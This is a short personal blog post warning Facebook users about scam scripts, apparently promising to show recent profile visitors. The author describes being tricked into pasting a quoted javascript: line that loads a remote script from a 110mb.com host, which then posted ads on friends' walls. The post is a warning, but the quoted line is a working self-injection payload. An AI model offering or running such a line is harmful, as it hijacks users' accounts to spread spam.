Facebook apps vs. you

It isn't uncommon these days that we come across several apps or scripts in Facebook claiming to get certain things done which are not part of the general Facebook functionality. Sadly, the results of such scripts aren't very pleasing soon after running those scripts; some of us do not even realize what happens after running such scripts or allowing access to such apps to our information on Facebook.

The reason I’m writing this, if you have guessed is I’m embarrassed to admit to I fell prey for this this weekend.

A post like the one below from a trusted friend can be tempting.

Upon clicking on one such links, I was directed to a page asking me to copy paste the following script from 110mb.com.

javascript:(a = (b = document).createElement("script")).src = "//recentvisitors.110mb.com/fbnewtab/test.php", b.body.appendChild(a); void(0)

This one initiated a php script hosted by 110mb.com, that contains several scripts in JavaScript that ultimately got me to advertise their web services on my several of my friends’ walls.

I went chasing the reason for the existence of a blog to take me to some webpage and claiming it can add certain functionalities to Facebook. In this attempt I found that 110mb.com has an Alexa site ranking at around 1700 world wide. This indicates the revenue generated by the ads and how much they get paid in terms of the number of times ads are shown to visitors. This gets me thinking of how effective most online ads are.

When you post ads on your friends’ wall inadvertently, that is certainly not cool, so watch out for scripts and apps asking for permission to access your data. Unfortunately, there isn’t much Facebook can do to stop scripts from running on your profile, because many of those functionalities are wired into Facebook APIs and your browser.

And, if you fancy your ex-boyfriend or the hot chick at office spying on your Facebook profile, there is no way to find out.